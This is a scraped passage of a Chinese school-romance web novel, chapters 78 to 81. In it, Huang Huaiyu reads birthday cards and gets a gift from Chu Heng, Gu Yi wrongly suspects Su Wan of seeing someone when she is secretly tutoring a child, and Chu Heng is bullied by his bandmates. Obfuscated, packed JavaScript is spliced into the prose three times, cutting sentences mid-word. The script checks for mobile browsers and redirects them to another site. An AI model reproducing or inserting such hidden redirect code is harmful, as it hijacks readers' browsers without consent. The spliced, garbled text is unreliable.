她抬头看向谷奕,神色极其认真。 “当你偶然间发现了3的平方加4的平方等于5的平方,并且以为这是你的专属发现足可以震惊世界而别人都不知道的时候……” “其实,这就是传说中的勾股定理。” 黄怀予笑得打嗝。 “大傻!” 她一边狂笑一边还很好心地给谷奕解释,上气不接下气地: “我从小到大收到的杯子,大概已经有七八十个了,已经能摆满一整个柜子了。” “下次你去我家,给你看看我的军火库。” 谷奕有些呆了。 顿时就又有些垂头丧气,半天才憋出一个:“哦。” …… 黄怀予捧着那个杯子,又认真观察了一下。 陶瓷的,是一个很有名的牌子,黄怀予这种土鳖居然也听说过的那种。 以谷公子出手的风格,黄怀予一看就知道,这应该是她收到的所有杯子中最贵的。而且形状很好看,奇奇怪怪但是很有设计感。颜色特地选了亮黄色,一点其他颜色都没有,其实非常符合黄怀予的审美。 ——是非常谷奕送礼物的风格。 她站起来,感谢地拍拍谷奕垂头丧气的肩膀。 “我很喜欢!” “虽然是八十分之一,但是是八十中的第一名。” “谢了大傻!” 听了这番话,谷奕才终于摸了摸鼻子,把头撇到一边,哼哼唧唧笑了起来。 * 黄怀予今天收到的贺卡有一大摞。 二晚的时候,黄怀予写完了这周的错题,抄完了一篇语文议论文,终于放下了笔,决定开始清点一下每个人送的礼物。 她一张一张地看贺卡,看得很认真。 看着看着,就开始笑。 这些人讲的话一个个奇奇怪怪,都讲着自己第一次遇见黄怀予的时候以为很高冷,还是个学霸,结果接触下来才发现是搞笑女。 还有黄怀予喜欢讲黄色笑话,果然很符合这个姓。 还有黄怀予经常给TA讲题,很感谢,希望以后也能不烦TA,继续给TA讲题。 还有黄怀予很喜欢笑,TA手机里起码存了几十张黄怀予笑崩的丑照。 一张一张看过去,她嘴边的笑都没停下来过。 …… 翻到了最后一张。 ——这张很特别,图案是大面积的深蓝色,一望无际的深海。 没有月亮,没有星星,只是深沉的、压抑的、看不见尽头的深海。 她一愣。 翻过来,白色的底,纯黑色的字。 字迹圆润,但是很小,全部都在横线上,一排一排很整齐,像是被框进了一个看不见的四四方方的框架里,永远都不会超出这个框架。 她一抖。 她已经认出来这个字了。 ——是吴如冬。 …… “我很羡慕你。” “从初中开始,你的名字就一定会在女生群体中出现,在家长口中出现。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499393|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “毫不夸张地说,我的初中三年是在你的阴影下活的。” “你那么潇洒,那么自信,每次看着你和班上的男生女生勾肩搭背谈笑甚欢,我都会觉得你好勇敢,好阳光,好像早上刚刚升起的太阳。” “你不会惧怕任何挑战,大家都看得出来你一直想和卫语一争高下。初中班上的女生总是会被说‘你再怎么学也比不过男生’,可是下一秒如果想到你,就会又觉得充满斗志。” …… “上了高中,你好像还是那么耀眼。我觉得我好像追上了你的步伐,又好像没有。” “你学了文科,进了平行班。你那段时间好像很消沉。可是你马上第一次月考就又变成了班上第一名。” “是啊,你就是你,你是黄怀予,你怎么会输呢?” “你是灯塔,我是在黑色的海洋里不断游泳寻找光明的鱼。而我的家人,也许就是周围的海洋。我在海里出生,依仗海洋生活,却也被海浪打得遍体鳞伤。我只能看向你,不断地看向你。” “送你一盒巧克力。还记得吗?初一那年的体测,我跑八百米的时候摔倒了。没有人理我,没有人管我。是你去小卖部给我买了一盒巧克力,还塞给我一包卫生巾。” “肚子很痛,冷汗直流。但是巧克力好甜。巧克力的热量很高吧?吃下去,觉得好像自己又活过来了。跑道好漫长,空气好冷,你的手好暖和。” “祝你,永远这样充满能量,永远这样有活力,永远这样往前走。” “永远,做那个灯塔。” 黄怀予一动不动,坐在座位上。 放下贺卡,她这才发现自己的手正在抖。 ——是吗? 她拿出一片巧克力,拆下包装。 苦的,没过几秒就变得很甜。很甜,非常甜,甜得齁人,甜得她眼泪都流了下来。 ……所以,这才是别人眼里的她吗? 原来,她不是那个永远肥胖的、自卑的、懦弱的、努力讨好那些漂亮女生的路人甲吗? 她在学习上追着齐龙飞和卫语,在相貌和人际关系上追着冯尽欢,在家庭条件上追着蒋龄,甚至在受人喜欢这件事上,还追着苏琬和刘子扬。 ——原来,回头看看,也有人在追着自己吗? 眼泪一滴一滴,滚烫落下来,砸在手背上。 她愣愣地看着手背上透明的泪珠。好像脑子里有什么东西,也像这滴忍了许久终于才落下的泪一样,压抑着,终于也彻彻底底崩盘了。 安静的教室,学生们埋着头学习,或者偷偷玩手机,冷空气从门缝窗户里想尽办法钻进来。 没有人看见她。 没有人看见她的眼泪。 没有人看见她彻底崩坏的心。 ——黄怀予。 她对自己说。 好像,大家都有病。 好像,大家都是问题少年。 好像,大家精神状态都不是很健康。 谷奕打架染黄毛被流放,他是不是有病? 苏琬打了六个耳洞,她是不是有病? 楚恒都快抑郁症了,他是不是有病? 吴如冬像个做题机器,她是不是有病? 刘子扬才十四岁却烟酒都来,他是不是有病? 冯尽欢喜欢和自己维持畸形的友情关系,她是不是有病? 蒋龄那么受宠却还不被她爸当人看,她是不是有病? …… 黄怀予。 别当问题少年了。 去治治病吧。 拯救一下你自己吧。 79. 第 79 章 晚自习放学,夜晚十点,黄怀予抱着大包小包的生日礼物,回了家。 “回来了?” 爹爹已经睡着了,家家坐在沙发上挽丝线,看见她回来,朝着桌子上努努嘴。 “有一个你的快递。” “啊?我没买东西啊。” 说到这里,黄怀予突然意识到,可能是谷奕的东西。 “哦!想起来了,我帮别人拿的。” 她抱着纸箱,进了自己的房间。门被关上,家家也回了房间,世界好像只剩她一个人。 她把箱子放在书桌上,观察了一下大小,想着要明天要怎么给谷奕带过去。 ——这么大个箱子,直接带不方便吧?她也没有那么大的袋子。 直接给他拆了吧,免得大公子还要想办法处理纸箱。 黄怀予掏出剪刀,手上沿着胶带的方向才划了一半,动作就硬生生顿住。 ——面朝上的快递单上,收件人,写的是“黄怀予。” …… 她十分急切地,把快递和包装一层层拆掉。 包装很好看,五颜六色的英文字母组成一串她不认识的品牌名,沿着包装袋蹦了出来。 这是…… 一个玩偶吊坠? 和手掌差不多大,摸起来非常舒服,像是那种很贵的面料,很有分量,做工很精致。 是一个太阳。 周围的光晕是淡黄色的,中间是亮黄色的,画着红色的眼睛和嘴,笑嘻嘻地躺在黄怀予的手心。 !! 她好像心有所感,那一瞬间,心脏砰砰砰地跳起来。 动作太大,包装袋里突然掉出了一张卡片。 她慌里慌张拿起来。 很短,大片都是空白,只有寥寥几句,一笔一划。 “是金子总会发光的。” 她心漏掉半拍,不可置信地僵在原地。 她一下子就想起了,在她脑子里盘旋了一天一夜的,那人说的,两个字。 ——“好的。” 黄怀予抖着手继续往下阅读。 下面还有两句。 “生日快乐。” 仿佛已经结束又思考了许久,墨迹颜色都有些不一样,最后又补充了一句: “高三加油。” 没有落款。 黄怀予又一下子想起来什么,赶紧手忙脚乱地把扔在地上暴力拆卸的快递盒翻过来,仔仔细细地去看上面的快递面单。 字很小很小,挤在一起,油墨打印不清晰,全部糊成一团。 但是,她依然辨认出来了。 寄件地址:帝都。 寄件人:楚老师。 …… 她呆滞在原地,嘴唇微张,整个人如在云雾中。 * 黄怀予点开了那个点开过无数遍又关掉的聊天框。 哆哆嗦嗦,发了一句话过去。 “楚老师。” “这是你送给我的吗?” 手机很快就蹦出一条新消息。 黄怀予心都跟着抖了抖。 ——“我以为,这个寄件人名字,可以让你一下子就知道是我。” ——“因为,只有你这样叫我。” “……” 黄怀予现在的心,跳得比月考数学最后五分钟发现自己没有填答题卡的时候还厉害。 她捧着手机,不由自主地笑了。 桌面上摆着一面小小的粉色折叠镜,是家家之前充话费送的,背面是某位不知名明星。 小小的镜子,沾上了一层灰尘,她看见镜子里自己的脸,笑得像捡钱了一样开心。 …… 等一下。先缓缓。 现在有点太兴奋了。 多巴胺有点超标了,荷尔蒙已经在天上飞了。 心跳得太快了。 镜子里的笑容有点太晃眼了。 她立刻清醒,扇了自己一下,开始打字。 “谢谢楚老师!” “我很喜欢。” 很正常的回复吧?就是普通朋友,对别人送的生日礼物表示感谢。 没有越轨吧?但是也没有不礼貌吧? 嗯嗯,超级正常。 她盯着那两句回复逐字逐句读了几遍,确认十分符合两个人现在不远不近的关系,终于呼出一口气,放下心来。 …… 黄怀予猛然觉得,她现在就像煮沸了十分钟已经软烂的碱水面,又被放进水龙头下过凉水。 差一点就要放纵一切混成一团面糊,又被临时拉了回来保持最后的清醒大喊:“我是一根一根的面条!” 她扔了手机,把吊坠小心地挂在了苏琬送的新书包上,把旧书包里所有东西都移了过去。 想了想,又捡起了地上写着英文品牌名字的包装袋,默默地打开浏览器搜了一下这一串字母。 ——蹦出的第一条结果就是一条英文标签,是这个品牌的英文官网。 点进去,排版高档简洁,全英文,一排看下去全都是毛绒玩具,下面还标着美元符号,一个页面里最低的数字都是80。 !! 她以为这几个月里经过了谷奕这种富二代给她带来的金钱震撼以后,她已经很难被钱的数字给震撼到了。 ——但是对她们这种平平无奇的小镇高中生来说,一杯十五块的抹茶冰旋都算巨款,她依然很无法想象这样一个看上去在对面文具店五块一个的吊坠,能被标上这样的数字。 “别怕。我会好好对你的。” “你比我还贵。” 她摸了摸那个太阳。 它依然咧着嘴,嬉皮笑脸地看着她。 ……这一副嘻嘻哈哈的样子,怎么越看越像她自己! 收了这么贵的礼物,黄怀予觉得还是有必要问清楚。 她又拿起手机,对着那个深蓝色夜空头像问: “你怎么知道今天是我的生日?“ 她又想到前几天那个乌龙的地址信息,有些不好意思:“是因为那天给你发的消息吗?” 对面很快回复: “嗯。” “你那天,是不小心发错了,还是……” “想让我看见?” “【已撤回】” “【已撤回】” 黄怀予没看清楚:“嗯?你撤回了什么?” “没什么。” 过了几分钟,又干巴巴地发过来几个字: “你喜欢就好。” …… 黄怀予回了一个表情包,就锁掉了手机。 跟楚恒好歹也算认识了两个月了,她也差不多能摸明白这人的沟通方式。 面对面,会看你一两眼,跟你聊上几句。 但是在手机上,半个月都没什么动静。除了那一次互删后像是疯了一样破防解释了一大堆,之后就又回到了之前的话少风格。 那人本来就冷淡,表示完了对他送礼物的感谢,话题也差不多结束了吧? 她把今天收到的所有礼物全部都整理好了,然后喜滋滋地去洗澡了。 洗完澡出来,已经过了半小时。 她打开手机,愕然发现,【楚老师】的对话框还在显示“对方正在输入中”。 ……难道这半个小时,他一直在这么打字? 上方一会显示“对方正在输入中”,一会又显示“楚老师”。 变来变去,闪来闪去,交替变换。 像教室里接触不良的电灯,像相触时特意避开的视线,像电视剧里男女主角站在一起时被风吹动缠在一起的发丝。 …… 她以为他要发什 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苏琬为了保持清醒,频繁地去厕所洗冷水脸,再带着一脸湿漉漉走回教室,嘴边呼出白气,手指冻得发红。 坐回座位,再翻出一双浅紫色的手套,戴上,继续拿起笔做题。 谷奕遥遥地盯着。 浅紫色? 哦,上次杯姐说了,苏琬喜欢紫色。 …… 她写着写着,又放下了笔,从抽屉里掏出了手机,点了几下。 似乎在打字。 ……不会又是在和别人聊天吧? 谷奕终于坐不住了,随便抽了一张卷子,长腿一伸就走了过去。 离她越来越近,她似乎还没发现谷奕过来,只是低着头认真地打字。 “……” 谷奕双手撑在苏琬桌子上,高挑的身形挡住了苏琬头顶的光线。 他终于没忍住,明晃晃地窥屏。 下一秒,他终于看见了: ——Q/Q页面,在聊天,对面是一个男性动漫人物头像。 ——经典动漫男头,味太冲了,一定是个男的。 !!! 那一刻,谷奕整个人都冻住了。 警铃大作,浑身冰冷。 “嗯?你怎么来了?” 苏琬终于发现上方似乎有人,一抬头就猛地和谷奕距离过近的俊脸直直地对上,没反应过来,往后仰了一段距离。 却看见,他一动不动,就这样盯着自己,像是要把自己盯穿。 “……”苏琬低头,看见谷奕手里拿着一张卷子,试探性地猜,“来找我问题目的?” “哼。” 他咬着牙,眼里悲愤交加,像是被深刻地背叛了,半天才挤出一句话。 “我来不来,你在意吗?” 苏琬:“?” 她伸出手,去接谷奕手上的卷子。 接了半天,却见那人完全不松手,卷子被他紧紧捏在手心,宽大的手掌握成拳头,手背血管突出缠绕,骨节都有些泛白。 “……”苏琬认真地看他一眼,放开了手,“既然不问,那就回去吧,马上要上课了。” 她本来以为谷奕听了这话会一言不发地就走掉。 却不想,那人脸气得通红,薄唇扯了扯。 “马上要上课,你还不是拿着手机不放!” “手机里有什么,你看得这么入迷!” “……”苏琬愣了一下,随后点点头,“嗯,你说得对,这样不好。我下节课间就不看手机了,要好好做题。” ……猛猛一拳打在了棉花上。 谷奕差点把舌头咬了。 80. 第 80 章 谷奕放弃了在苏琬面前旁敲侧击。 他选择了去黄怀予面前打探情报。 因为在他的印象里,苏琬的所有事情,黄怀予都一定知道。 “啊?经常和一个男的在Q/Q聊天?” “不认识。” “还经常睡觉,很困?” “这也正常吧,高三了,又是冬天,谁不困啊。” …… 谷奕咬牙,失算了。 居然还有黄怀予不知道的事。 ——越是这样,就越说明,这件事一定有古怪! 他盯着面前低头有一搭没一搭写着文综大题的黄怀予。 她最近每天都很宝贝她那个新书包,以及书包上一个晃来晃去的太阳,也不知道谁送她的。 还有,她最近每天都学得更勤了,不知道是不是上次月考失手了受刺激了,每天就拿着笔狂写。 晚饭时间也不见人影,一个人去楼梯间那里背文综。 谷奕一路跟着,疯狂暗示,各种打探消息,愣是什么都没问出来。 “……这样吧。” 黄怀予终于从书堆里面抬起头,推了推眼镜。 “如果这件事她真的没告诉我,那只有一个原因。” “她觉得,我不会认同她的做法。” “所以,为了避免争吵,她就不会跟我说。” 她耸耸肩。 “既然是这样,我当然尊重她。” “再好的朋友,也要尊重人家的私人空间。” 谷奕:“既然是你不会认同的事,你还让她去做?你就不怕是什么严重的事?杀人放火被诈骗?” 黄怀予摇摇头。 “苏琬比我理智多了。” “杀人放火被诈骗的,通常是我。” 她看了一眼面前脸色似乎不是很好看的谷奕,露出一个极其暧昧揶揄的笑。 “大傻,我看你不是担心她杀人放火被诈骗。” “说来说去,那个动漫头像的男的才是重点吧?” …… 谷奕没理她。 他转身就急冲冲地去六楼办公室找马辉,坚持要把座位换回来。 只不过这一次,他学乖了。 他没有再坚持说自己和苏琬黄怀予两个人之间没有见不得人的暧昧关系,而是说: “如果我下次月考考到年级前九十名,我能不能有奖励。” “奖励就是,把座位换回来。” 马辉抬头扫他一眼。 但是脸上却出现一丝讶然。 ——“你可想清楚了,下一次考试,是十二月份的八校联考。” “那又怎么样?” 谷奕回答得很理直气壮。 咋了?不就是八校联考吗? 他在杯姐那里听过这个名字。 是云省的八所高中组成的八校联盟内部考试,每个学期都会考两次,一次是十二月,一次是三月。 又不是高考,很牛逼吗? 却见马辉脸上一言难尽地看着他,半晌才说出一句: “行。” “你记住这个承诺。” “我答应你了。” 谷奕终于高兴了,昂首挺胸地就出了办公室,被困扰多日的烦恼终于有了盼头。 * 转眼就到了周末。 白度周五晚上就回家了,寝室里只剩谷奕一个人。 学校里的住读生一般到了周末都会回家一趟。所以一到周末,寝室楼都空了一半,安安静静的。 苏琬这段时间也说周末要回家。 谷奕曾经建议,你脚还没好全,挪动也不方便,就别每个周末都回家了。但是苏琬很坚持。 行吧。就剩他一个人了。 切,他才不孤独呢。 …… 周六,谷奕一觉睡到了中午。睡得神清气爽,他背上几张卷子,决定出门去市图书馆做做题。 ——结果才刚刚走到楼下,就看见,前面不远处的女寝楼下,苏琬拄着拐杖,正在极其艰难一步一步地上楼梯。 她穿得很正式,背着书包。 书包似乎很重,她拄着拐杖,才爬了几个台阶就已经满头是汗,呼出白气。 两人对视,双双愣住。 谷奕还没来得及去思考苏琬为什么会出现在这里,脚上已经条件反射般快步走过去,一双大手极其熟悉地接住她。 !! 苏琬一慌,脚上一个没站稳,整个人都倒在了谷奕怀里。 鼻间传来身边少年衣服上清爽的洗衣液味道,整个身子都被他热烈的体温环绕住。 “……”苏琬脸微微有些红。 “你怎么回来了?” “怎么不给我发消息,我去接你。” 谷奕非常顺手地就接过了她肩上的书包,嘴上关心的话语不停,眼睛盯着她的脚腕。 “还有多久能拆石膏?杯姐的手都已经拆掉了。” “你去干什么了?” …… 苏琬抿着唇,半晌没说话。 周末是她做家教的时间。 她专门算过时间。周末谷奕一般都起得很晚,而她早上六点多就出门,一整天都在外面做家教,晚上结束再去图书馆学习一会,一直到晚上八九点才回寝室。 ——就这样,从来都没有碰见过谷奕。 于是,自己那个说“周末回家”的谎言,也得以一直维系下去。 可是没想到,今天上午的课刚结束,在外面随便吃了点路边摊当午饭之后准备去下一家时,却临时收到了学生的请假消息。 下午上课的家长说学生病了,下午的课取消。 于是苏琬才中午就回来了。 …… 她含含糊糊地说: “医生说还有一两个星期就能拆掉了。” “我妈不在家,所以就回来了。” “这周末……就留在学校寝室里。” 谷奕皱皱眉,“那苏阿姨怎么不提前跟你说一声,你这不是白跑一趟吗?” “……”苏琬似乎时被他的话堵住,不知道接下来怎么编下去,只能抿唇不语,扶着他宽阔有力的手臂,慢慢走上女寝的楼梯。 门口的宿管阿姨早就眼熟谷奕了,看见谷奕又是扶着苏琬进来,赶紧去开门。 两人一步步走上了三楼。 就像她脚骨折的这两个多月以来的,每一个平常的日子。 拿出钥匙进了她的寝室,谷奕放下背上苏琬的书包,却在打开的书包里,层层叠叠的书中间,看见了一个东西。 黑乎乎的。 一只黑色手套。 而且,一看就是一只男士手套。 !! 谷奕呆呆地看着那只手套,手有些颤抖地把它拿出来。 长指慢慢收紧,用力握在手里。 苏琬放下拐杖,回头,却看见谷奕一直低着头不动。 她看不见他垂下头的表情,却看见,谷奕手里,正紧紧捏着一只黑色手套。 !! 苏琬一惊。 她这才猛然想起,那是刚刚上午那节家教课的,那个男生的手套。 就放在桌子上,她收拾书包的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528893|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候不小心夹了一只进来,被一大摞厚厚的书给压住,完全没发现。 “……” 她慌里慌张打开手机,果然看见□□页面,那个男生刚刚给自己发的消息。 “苏老师,你看见我的手套了吗?” “有一只不见了!” “我妈妈把我骂了一顿呜呜呜……” 后面还跟了一大串痛哭流泪的表情包和颜文字。 …… 苏琬挫败地关掉手机。 完蛋了,瞒了这么久,还是暴露了。 她不知道谷奕知道了多少,于是偷偷去观察谷奕的神色。却看见谷奕仍然低着头,看不清表情,不知道他在想什么。 苏琬一步步,走到他面前。 谷奕低着头,可是他长得高。 于是,苏琬终于看清了他的表情。 ——只见谷奕就那样孤零零地站着,满脸受伤的神色,眼眶红红,眼神哀戚。 !! 苏琬看得一愣。 赶紧凑得更近想仔细看。 可是谷奕不想让她看见,非常不自然地把头扭到一边,还轻轻吸了一下鼻子。 苏琬着急想确认,又离得更近,可是脚尖却被谷奕的腿给挡住,身体瞬间由于惯性向前倾倒—— 眼前的人没想到她会摔倒,立刻转过头来,两只有力的大手迅速扶住了她,她跌进了他的怀里。 ——这下,两个人紧紧贴着,四目相对。 苏琬直勾勾看着他的脸,这下终于清清楚楚地看见了谷奕的表情。 他眼里还有刚刚苏琬差点摔倒的惊慌,一双本来狭长的眼睛睁得圆圆的,可是眼尾却还很红,嘴角也还委屈地撇着。 …… 四周彻底安静下来。 苏琬平静开口: “你哭什么?” !! 谷奕一下子被她如此直接的话戳中,耳根立刻红了,别扭地转过头,倔强地大喊: “……谁说我哭了!” “那这是什么?” 苏琬伸手,手指轻轻地蹭过谷奕的眼角,蹭下来一滴湿润的眼泪。 “……”谷奕瞪大眼睛,眼睁睁看着苏琬突然摸上来的纤长手指,下一秒又感受到眼角痒痒的触感,脸瞬间变红,一路蔓延到了脖子。 “是我的汗!” 他咬牙切齿地喊。 “今天楚门零下一度,你出什么汗?” “……怎么,零下一度就不能出汗吗?”他喘着气,怨念地看她,脸上的表情感觉又要哭出来,“你刚刚上楼梯的时候不也满脸汗吗?这么冷的天,拄着拐杖,都出汗了,还要出去见他!” ? 苏琬蹙起眉头,认真思索了一会他的话。 谷奕吼完,见面前的女生凝眉,几秒钟都没有说话,像是完全默认了。 他更生气了。 “你为什么不说话!你在想谁!是不是在想他!” 苏琬慢慢地眨眨眼睛,似乎终于是弄明白了,一双亮晶晶的杏眼微微眯起来,可是脸上却依然平静。 “你知道他是谁?” 谷奕一听,她终于承认了是在想别人,怒火更甚。 “我怎么不知道!” “还能是谁,不就是外面的野男人!” “你现在高三,学习压力这么大,还来勾引你!” “明知道你现在不能谈恋爱,却还要跟你谈恋爱,这种男的能是什么好人!” “还让你拄着拐杖出去约会,故意把一只手套留在你包里,就可以借着还给他的理由,约下一次见面,对吧?!” 81. 第 81 章 谷奕越说越激动,越说越受伤,胸膛剧烈起伏,说到最后竟然打算去拿苏琬口袋里的手机。 “干什么?” “看他叫什么名字,老子出去揍他一顿!” 苏琬无奈地没动,任凭谷奕从兜里拿走了手机,怒气冲冲地点开Q/Q。 他的手指都在微微颤抖,明明纠结了这么长时日的事实就在眼前,可是此时此刻他却紧张得呼吸不过来。 页面加载中。 加载成功了。 入目第一眼就是那个熟悉的动漫头像。 ……然而备注却是,“楚门五中,初一,王子睿,数学,100元一小时”。 谷奕顿住,盯着这几个字。 他仿佛被定住了,足足呆滞了五秒钟。 ……这几个字组合在一起,好像瞬间就可以拼凑出这个“神秘野男人”的身份。 他又突然想到些什么,拿起那个被扔在桌上已经被捏得皱巴巴一团的手套,展开来认真看了一下。 ——很小,绝对不是成年男人手的尺寸,反而像小孩子。 …… 苏琬饶有兴致地欣赏着他的反应,微微歪头,不免觉得有些好笑。 她踮起脚,凑到他肩膀边,轻声说: “他今年12岁,刚上初一,身高还不到我胸口。” “你去打他,下得去手吗?” “……”谷奕喉结滚动,慢慢咽了口口水。 他把手机缓缓锁屏。 苏琬清丽的脸离自己太近,他动都不敢动。 几秒钟之后,他仿佛才找回自己的声音,转过头,语气仍然有些别扭。 “……那为什么把这只手套给你?” 说完,语气又瞬间变得委屈:“还跟你那双浅紫色的像情侣款。” 苏琬看着他用力忍耐哭泣的表情,不免有些好笑。 她眨眨眼,语气温柔。 “我到现在只和一个人有过同款。” “同款耳钻。” !! 一秒之内,谷奕涨红的耳朵和发烫的脸早就已经无处遁形。 他狼狈地咬牙。 半晌,才吐出一句话。 “……真是,永远都会输给你。” 声音闷闷地,带着强烈的自暴自弃。 * 新娱公司。 家族综艺的录制已经到了第四期。 离正式舞台表演还有五天,各个团队都开始了紧锣密鼓的最后排练。 …… 楚恒昨天去魔都录了一个节目。纯背景板,但是必须全程都在,露个脸都算完成任务。一期节目录了五个小时,露脸的镜头不到十秒钟。 结束录制,他又马不停蹄地赶飞回帝都的航班,完全没有休息地参加今天的集体排练。 担心半路会堵车,他昨晚就在工作群里发消息,说自己可能会迟到20分钟。确认了群里所有老师们都接受之后,他请大家可以晚点来,到时候晚结束20分钟。 终于赶到了公司练习室,他看了一眼时间,离约定时间还有十分钟。 ——可是推开门进来的时候,他眼前一晃,竟然看到练习室里满满当当全是人。 甚至,还一眼就看到了一向在练习里迟到早退的赵焰。 他脸上带着得意的笑,就那样看着楚恒站在门口。 “楚恒,来得真早啊。” 赵焰的声音极大,似乎是在提醒周围所有的舞蹈老师和伴舞人员,楚恒迟到了。 …… 周围空气静默了一瞬。 排练时间经常是弹性的,只要是提前跟大家说过,大家同意了,调整时间是再正常不过的事。 说楚恒迟到,实在是有些说不过去。 一旁的一位舞蹈老师Amy眼见氛围不对,开始打圆场。 “没事,我们按照原来的时间到的,先来做做准备试试音响,所以也就等了十分钟。” Amy从出道开始就开始教STAR,私下里也知道,STAR内部关系很一般,而楚恒性格孤僻,有些不合群。 “楚恒也已经提前在群里说过了,这种事情也很正常。” “还有几位老师马上就到,我们时间不耽误,我们现在可以先热一下身开始了。” 陈影突然插了一句: “赵焰最近也在拍戏呢,可是赵焰就来得很早。” Amy脸色僵了一瞬,和旁边另一位舞蹈老师对看一眼,脸上不由得都出现了苦笑的表情。 ——看来,STAR内部这关系还是复杂得很。 旁边的人拍了Amy一下,她晃了晃头,拍拍手让大家聚集过来站好,只希望这种奇怪的氛围不要影响到排练。 …… 楚恒一言不发地站在原地,随后就在这满屋空气中弥漫的尴尬里,走了进来。 他在墙边放下包,走到镜子前站定。 ——可是下一秒就看见,陈影从一旁的墙边站了起来,慢悠悠走到楚恒的包旁边,用力踢了一下,又用鞋底踩了好几秒,这才离开,跟着Amy的指令站到了中间。 楚恒一顿。 抬眸对着镜子,正好看见镜子里赵焰直直看过来的目光。 ——很得意,挑衅,锐利,阴狠。 “……” 楚恒只看了一眼就移开了目光,神色冷淡。 他像是完全不关心赵焰和陈影低劣的排挤,甚至也没有再看那个被踩脏的包一眼。 …… 练习过程还算顺利,除了顾安依然有点不太能跟上。 前段时间工作多,顾安已经有一个多星期没进练习室了。结束以后他又找老师单独顺了一遍。 排练间隙,大家休息。 赵焰喘着气,看着楚恒低着头,一步步走到那个被踩脏的包边,然后没有丝毫犹豫,直接把里面的东西一样一样全部拿了出来。 随后,拿起那个包,直接走出练习室,扔进了门口的垃圾桶。 再回来,抽出一张随身带着的酒精湿巾,仔仔细细、认认真真地擦着手指。 赵焰握住拳头,面色阴沉。 什么意思? 碰了一下就直接扔掉? 他最烦楚恒的洁癖,好像就他一个人出淤泥而不染,其他人都是肮脏的垃圾。 楚恒一个人坐在墙边。 帽子和口罩被摘了下来,露出一张白皙干净的脸。金发上的发卡已经在刚刚跳动的动作中逐渐松散,他把发卡取了下来,头发湿漉漉地垂在额前,显得极其乖顺。 他一个人孤单地仰头靠墙,离其他人很远,微微喘着气,一滴汗隐入线条流畅的脖颈里。 拿过一旁的手机,盯着手机屏幕。 一言不发。 神色似乎很认真,不知道在想些什么,也把眉宇之间那种不可接近的冰冷也冲淡了许多。 …… 楚恒看手机看得越来越频繁这件事,不仅梁吟东注意到了,赵焰也注意到了。 楚恒以前对手机只有基本需求,很少会上网关注舆论,也没有任何手机游戏。 ——这也是赵焰讨厌他的地方,装清高,自命不凡。 他看了一眼那人手指间握着的机身。是白色的,似乎换了手机。 他不由得又嗤笑一声。 最近接了个人商务,立刻就换了新手机。 虚伪做作。 * 排练结束了。 舞蹈老师准备离开。 一群人笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544245|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说拜拜,人群里又有两个戴口罩的年轻伴舞女生,捂着嘴扭成一团,扭扭捏捏地问能不能加楚恒微信。 “我超级喜欢你和沈一瑾第一期的那个舞台!” 说完,又偷偷小声问:“你和沈一瑾是真的吗?如果是真的,你就点点头。” 话还没说完,就被旁边的Amy笑着拍了一下手臂,似乎是在提醒现在的行为很不专业。 楚恒眉头一皱,没说话。 “我看了好几遍,还给你们投了好多票!” “谢谢。” 一贯的语气,平淡,惜字如金。 又一顿,又罕见地多冒出几个字,强调似地为了解释什么。 “我和沈小姐只是同事关系。” 没有直接说“她”,甚至还加上了“小姐”的后缀,对方果然听出了这明显的避嫌,瞬间有些失望,“啊……这样啊。我还以为你们一个内向,一个活泼。很般配呢。” 却见楚恒听到这话,眼神难得地闪烁了一下,有了些波澜。 “活泼的和内向的很般配?” 他重复问了一遍。 “是啊。” “当然啦!” 两人加上了微信,欢天喜地,嘻嘻哈哈地走了。 人群三三两两离开,转眼间练习室里又只剩下了STAR的几位成员。 楚恒像是终于从刚刚的对话里回过神来,拿上东西,也准备离开。 他突然有很多事情想做。 一想到这些事情,就归心似箭,就恨不得立刻回去。 ——可是下一秒,就被身后的人叫住了。 “我们这么清高的C位不是最讨厌炒作吗?” “怎么自己炒CP炒得这么起劲呢?” 他充耳不闻,转身就走。 陈影立刻走上前两步去拦他:“和你说话,你听不见吗!” 结果伸出了手却连楚恒的衣服角也没碰见,他躲避得极快,瞬间就拉出距离,像是迅速远离什么脏东西一样。 “你!”陈影一下子来气了。 楚恒一眼也没看其他人,右手已经拉开了练习室的门。 可是下一秒就被大力拖拽到地上,东西洒了一地,背重重地摔了下去,痛得他皱眉,抬眼,看见赵焰那张因为愤怒嫉妒而变得有些扭曲的脸。 “勾搭上沈一瑾了,上了几个热搜,是不是就觉得你要火了?实际上还不是糊得要死!” “你觉得你要翻身了?做你的白日梦!” “STAR就是因为有你才会这样!烂泥扶不上墙!” 赵焰居高临下地扫视着楚恒的脸,突然慢慢浮现出笑意。 “最后给你一次脸而已,等15号第二期播了以后,你也算是凉透了。” 练习室里的其他人,依然扮演着这三年以来的一贯角色。 